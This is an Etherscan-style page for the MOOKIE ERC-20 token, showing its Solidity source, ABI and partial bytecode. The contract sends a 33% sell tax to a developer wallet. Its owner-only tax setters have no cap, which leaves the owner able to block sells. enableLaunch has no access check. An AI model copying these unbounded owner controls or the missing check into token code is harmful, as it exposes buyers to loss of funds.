ERC-20
Overview
Max Total Supply
300,000,000 MOOKIE
Holders
538
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
21,005.575541362 MOOKIEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Mookie
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-24 */ /* Telegram: https://t.me/MookieCoinERC */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } contract Mookie is IERC20, Ownable { using SafeMath for uint256; using Address for address payable; string private constant _name = "Mookie The Monkey"; string private constant _symbol = "MOOKIE"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 300_000_000 * 10**_decimals; uint256 private _maxWallet = 1_200_000 * 10**_decimals; uint256 private _maxBuyAmount = 1_200_000 * 10**_decimals; uint256 private _maxSellAmount = 1_200_000 * 10**_decimals; uint256 private _swapTH = 300_000 * 10**_decimals; address public Dev = 0x037059712a26101b26488f7f3e9cdF44F9c05594; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private _isWhiteList; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; address private _owner; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; bool public _AutoSwap = true; bool public _Launch = false; bool public _transfersEnabled = false; bool private _TokenSwap = true; bool private _autoLP = true; bool private _isSelling = false; uint256 private _swapPercent = 100; uint256 private _devTaxRate = 0; uint256 private AmountBuyRate = _devTaxRate; uint256 private _devTaxSellRate = 33; uint256 private AmountSellRate = _devTaxSellRate; constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _owner = msg.sender; uint256 tsupply = _totalSupply; _balances[msg.sender] = tsupply; _isExcludedFromFee[_owner] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[Dev] = true; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function getOwner() public view returns (address) { return owner(); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isWhitelist(address account) public view returns (bool) { return _isWhiteList[account]; } function ViewBuyRate() public view returns ( uint256 devBuyRate, uint256 totalBuyRate, uint256 maxWallet, uint256 maxBuyAmount ) { devBuyRate = _devTaxRate; totalBuyRate = AmountBuyRate; maxWallet = _maxWallet; maxBuyAmount = _maxBuyAmount; } function ViewSellRate() public view returns ( uint256 devSellRate, uint256 totalSellRate, uint256 maxSellAmount ) { devSellRate = _devTaxSellRate; totalSellRate = AmountSellRate; maxSellAmount = _maxSellAmount; } function transfer(address recipient, uint256 amount) public override returns (bool) { if(recipient != uniswapV2Pair && recipient != owner() && !_isExcludedFromFee[recipient]){ require(_balances[recipient] + amount <= _maxWallet, "MyToken: recipient wallet balance exceeds the maximum limit"); } _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); _transfer(sender, recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "MyToken: approve from the zero address"); require(spender != address(0), "MyToken: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "MyToken: transfer from the zero address"); require(recipient != address(0), "MyToken: transfer to the zero address"); require(amount > 0, "MyToken: transfer amount must be greater than zero"); if(!_Launch){require(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient] || _isWhiteList[sender] || _isWhiteList[recipient], "we not launch yet");} if(!_Launch && recipient != uniswapV2Pair && sender != uniswapV2Pair) {require(_transfersEnabled, "Transfers are currently disabled");} bool _AutoTaxes = true; if (recipient == uniswapV2Pair && sender == owner()) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return; } //sell if(recipient == uniswapV2Pair && !_isExcludedFromFee[sender] && sender != owner()){ require(amount <= _maxSellAmount, "Sell amount exceeds max limit"); _isSelling = true; if(_AutoSwap && balanceOf(address(this)) >= _swapTH){ CanSwap(); } } //buy if(sender == uniswapV2Pair && !_isExcludedFromFee[recipient] && recipient != owner()){ require(amount <= _maxBuyAmount, "Buy amount exceeds max limit"); } if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) { _AutoTaxes = false; } if (recipient != uniswapV2Pair && sender != uniswapV2Pair) { _AutoTaxes = false; } if (_AutoTaxes) { if(!_isSelling){ uint256 totalTaxAmount = amount * AmountBuyRate / 100; uint256 transferAmount = amount - totalTaxAmount; _balances[address(this)] = _balances[address(this)].add(totalTaxAmount); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(transferAmount); emit Transfer(sender, recipient, transferAmount); emit Transfer(sender, address(this), totalTaxAmount); }else{ uint256 totalTaxAmount = amount * AmountSellRate / 100; uint256 transferAmount = amount - totalTaxAmount; _balances[address(this)] = _balances[address(this)].add(totalTaxAmount); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(transferAmount); emit Transfer(sender, recipient, transferAmount); emit Transfer(sender, address(this), totalTaxAmount); _isSelling = false; } }else{ _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function swapTokensForEth(uint256 tokenAmount) private { // Set up the contract address and the token to be swapped address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); // Approve the transfer of tokens to the contract address _approve(address(this), address(uniswapV2Router), tokenAmount); // Make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function CanSwap() private { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_TokenSwap){ if(contractTokenBalance > 0){ uint256 caBalance = balanceOf(address(this)) * _swapPercent / 100; uint256 toSwap = caBalance; swapTokensForEth(toSwap); uint256 receivedBalance = address(this).balance; if (receivedBalance > 0) {payable(Dev).transfer(receivedBalance);} }else{ revert("No tokens available to swap"); } } }else{ revert("No Balance available to swap"); } } receive() external payable {} function setDevAddress(address newAddress) public onlyOwner { require(newAddress != address(0), "Invalid address"); Dev = newAddress; _isExcludedFromFee[newAddress] = true; } function enableLaunch() external { _Launch = true; _transfersEnabled = true; } function setExcludedFromFee(address account, bool status) external onlyOwner { _isExcludedFromFee[account] = status; } function setWhitelist(address account, bool status) external onlyOwner { _isWhiteList[account] = status; } function bulkwhitelist(address[] memory accounts, bool state) external onlyOwner{ for(uint256 i = 0; i < accounts.length; i++){ _isWhiteList[accounts[i]] = state; } } function SwapEnable(bool status) external onlyOwner { _AutoSwap = status; } function SetSwapPercentage(uint256 SwapPercent) external onlyOwner { _swapPercent = SwapPercent; } function setAutoSwap(uint256 newAutoSwap) external onlyOwner { require(newAutoSwap <= (totalSupply() * 1) / 100, "Invalid value: exceeds 1% of total supply"); _swapTH = newAutoSwap * 10**_decimals; } function updateLimits(uint256 maxWallet, uint256 maxBuyAmount, uint256 maxSellAmount) external onlyOwner { _maxWallet = maxWallet * 10**_decimals; _maxBuyAmount = maxBuyAmount * 10**_decimals; _maxSellAmount = maxSellAmount * 10**_decimals; } function setBuyTaxRates(uint256 devTaxRate) external onlyOwner { _devTaxRate = devTaxRate; AmountBuyRate = _devTaxRate; } function setSellTaxRates(uint256 devTaxRate) external onlyOwner { _devTaxSellRate = devTaxRate; AmountSellRate = _devTaxSellRate; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"SwapPercent","type":"uint256"}],"name":"SetSwapPercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"SwapEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ViewBuyRate","outputs":[{"internalType":"uint256","name":"devBuyRate","type":"uint256"},{"internalType":"uint256","name":"totalBuyRate","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ViewSellRate","outputs":[{"internalType":"uint256","name":"devSellRate","type":"uint256"},{"internalType":"uint256","name":"totalSellRate","type":"uint256"},{"internalType":"uint256","name":"maxSellAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_AutoSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Launch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transfersEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkwhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAutoSwap","type":"uint256"}],"name":"setAutoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"devTaxRate","type":"uint256"}],"name":"setBuyTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setDevAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"devTaxRate","type":"uint256"}],"name":"setSellTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxBuyAmount","type":"uint256"},{"internalType":"uint256","name":"maxSellAmount","type":"uint256"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526009600a62000014919062000880565b6311e1a300620000259190620009bd565b6001556009600a62000038919062000880565b62124f80620000489190620009bd565b6002556009600a6200005b919062000880565b62124f806200006b9190620009bd565b6003556009600a6200007e919062000880565b62124f806200008e9190620009bd565b6004556009600a620000a1919062000880565b620493e0620000b19190620009bd565b60055573037059712a26101b26488f7f3e9cdf44f9c05594600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600e60026101000a81548160ff0219169083151502179055506001600e60036101000a81548160ff0219169083151502179055506001600e60046101000a81548160ff0219169083151502179055506000600e60056101000a81548160ff0219169083151502179055506064600f5560006010556010546011556021601255601254601355348015620001d357600080fd5b50620001f4620001e8620006aa60201b60201c565b620006b260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029557600080fd5b505afa158015620002aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d091906200078d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200033357600080fd5b505afa15801562000348573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036e91906200078d565b6040518363ffffffff1660e01b81526004016200038d929190620007db565b602060405180830381600087803b158015620003a857600080fd5b505af1158015620003bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e391906200078d565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600154905080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200069a919062000808565b60405180910390a3505062000abf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050620007878162000aa5565b92915050565b600060208284031215620007a057600080fd5b6000620007b08482850162000776565b91505092915050565b620007c48162000a1e565b82525050565b620007d58162000a52565b82525050565b6000604082019050620007f26000830185620007b9565b620008016020830184620007b9565b9392505050565b60006020820190506200081f6000830184620007ca565b92915050565b6000808291508390505b600185111562000877578086048111156200084f576200084e62000a69565b5b60018516156200085f5780820291505b80810290506200086f8562000a98565b94506200082f565b94509492505050565b60006200088d8262000a52565b91506200089a8362000a5c565b9250620008c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008d1565b905092915050565b600082620008e35760019050620009b6565b81620008f35760009050620009b6565b81600181146200090c576002811462000917576200094d565b6001915050620009b6565b60ff8411156200092c576200092b62000a69565b5b8360020a91508482111562000946576200094562000a69565b5b50620009b6565b5060208310610133831016604e8410600b8410161715620009875782820a90508381111562000981576200098062000a69565b5b620009b6565b62000996848484600162000825565b92509050818404811115620009b057620009af62000a69565b5b81810290505b9392505050565b6000620009ca8262000a52565b9150620009d78362000a52565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a135762000a1262000a69565b5b828202905092915050565b600062000a2b8262000a32565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b62000ab08162000a1e565b811462000abc57600080fd5b50565b6143318062000acf6000396000f3fe6080604052600436106101fd5760003560e01c80638da5cb5b1161010d578063d8a0663c116100a0578063f515a55c1161006f578063f515a55c14610742578063f7de4dfd1461076b578063fcd2e04914610796578063feae65e7146107bf578063ff5211bb146107ed57610204565b8063d8a0663c1461068a578063dd62ed3e146106b3578063f18b8cba146106f0578063f2fde38b1461071957610204565b8063a9059cbb116100dc578063a9059cbb146105ba578063c683630d146105f7578063c6da305114610634578063d0d41fe11461066157610204565b80638da5cb5b14610510578063925542871461053b57806395d89b4114610566578063a14aee611461059157610204565b806336a0f8a5116101905780636612e66f1161015f5780636612e66f1461043d57806370a0823114610466578063715018a6146104a357806385438bc0146104ba578063893d20e8146104e557610204565b806336a0f8a51461038357806349bd5a5e146103ac5780635342acb4146103d757806353d6fd591461041457610204565b80631694505e116101cc5780631694505e146102c557806318160ddd146102f057806323b872dd1461031b578063313ce5671461035857610204565b806301e51ae81461020957806306fdde0314610234578063095ea7b31461025f5780630a80c0cc1461029c57610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610804565b60405161022b9190613a2d565b60405180910390f35b34801561024057600080fd5b5061024961082a565b6040516102569190613a7e565b60405180910390f35b34801561026b57600080fd5b5061028660048036038101906102819190613274565b610867565b6040516102939190613a48565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be919061332d565b61087e565b005b3480156102d157600080fd5b506102da61090d565b6040516102e79190613a63565b60405180910390f35b3480156102fc57600080fd5b50610305610933565b6040516103129190613cc0565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d91906131e9565b61093d565b60405161034f9190613a48565b60405180910390f35b34801561036457600080fd5b5061036d6109e7565b60405161037a9190613db1565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613356565b6109f0565b005b3480156103b857600080fd5b506103c1610ace565b6040516103ce9190613a2d565b60405180910390f35b3480156103e357600080fd5b506103fe60048036038101906103f9919061315b565b610af4565b60405161040b9190613a48565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190613238565b610b4a565b005b34801561044957600080fd5b50610464600480360381019061045f9190613238565b610c21565b005b34801561047257600080fd5b5061048d6004803603810190610488919061315b565b610cf8565b60405161049a9190613cc0565b60405180910390f35b3480156104af57600080fd5b506104b8610d41565b005b3480156104c657600080fd5b506104cf610dc9565b6040516104dc9190613a48565b60405180910390f35b3480156104f157600080fd5b506104fa610ddc565b6040516105079190613a2d565b60405180910390f35b34801561051c57600080fd5b50610525610deb565b6040516105329190613a2d565b60405180910390f35b34801561054757600080fd5b50610550610e14565b60405161055d9190613a48565b60405180910390f35b34801561057257600080fd5b5061057b610e27565b6040516105889190613a7e565b60405180910390f35b34801561059d57600080fd5b506105b860048036038101906105b39190613304565b610e64565b005b3480156105c657600080fd5b506105e160048036038101906105dc9190613274565b610efd565b6040516105ee9190613a48565b60405180910390f35b34801561060357600080fd5b5061061e6004803603810190610619919061315b565b611090565b60405161062b9190613a48565b60405180910390f35b34801561064057600080fd5b506106496110e6565b60405161065893929190613d35565b60405180910390f35b34801561066d57600080fd5b506106886004803603810190610683919061315b565b6110ff565b005b34801561069657600080fd5b506106b160048036038101906106ac919061332d565b611287565b005b3480156106bf57600080fd5b506106da60048036038101906106d591906131ad565b611387565b6040516106e79190613cc0565b60405180910390f35b3480156106fc57600080fd5b50610717600480360381019061071291906132b0565b61140e565b005b34801561072557600080fd5b50610740600480360381019061073b919061315b565b611545565b005b34801561074e57600080fd5b506107696004803603810190610764919061332d565b61163d565b005b34801561077757600080fd5b506107806116c3565b60405161078d9190613a48565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b8919061332d565b6116d6565b005b3480156107cb57600080fd5b506107d4611765565b6040516107e49493929190613d6c565b60405180910390f35b3480156107f957600080fd5b50610802611785565b005b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280601181526020017f4d6f6f6b696520546865204d6f6e6b6579000000000000000000000000000000815250905090565b60006108743384846117bd565b6001905092915050565b610886611988565b73ffffffffffffffffffffffffffffffffffffffff166108a4610deb565b73ffffffffffffffffffffffffffffffffffffffff16146108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f190613c00565b60405180910390fd5b8060128190555060125460138190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b60006109d1843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109cc91906140d0565b6117bd565b6109dc848484611990565b600190509392505050565b60006009905090565b6109f8611988565b73ffffffffffffffffffffffffffffffffffffffff16610a16610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390613c00565b60405180910390fd5b6009600a610a7a9190613f58565b83610a859190614076565b6002819055506009600a610a999190613f58565b82610aa49190614076565b6003819055506009600a610ab89190613f58565b81610ac39190614076565b600481905550505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610b52611988565b73ffffffffffffffffffffffffffffffffffffffff16610b70610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd90613c00565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610c29611988565b73ffffffffffffffffffffffffffffffffffffffff16610c47610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9490613c00565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d49611988565b73ffffffffffffffffffffffffffffffffffffffff16610d67610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490613c00565b60405180910390fd5b610dc76000612a76565b565b600e60029054906101000a900460ff1681565b6000610de6610deb565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900460ff1681565b60606040518060400160405280600681526020017f4d4f4f4b49450000000000000000000000000000000000000000000000000000815250905090565b610e6c611988565b73ffffffffffffffffffffffffffffffffffffffff16610e8a610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed790613c00565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f905750610f60610deb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fe65750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561107b5760025482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110399190613e7e565b111561107a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107190613b80565b60405180910390fd5b5b611086338484611990565b6001905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673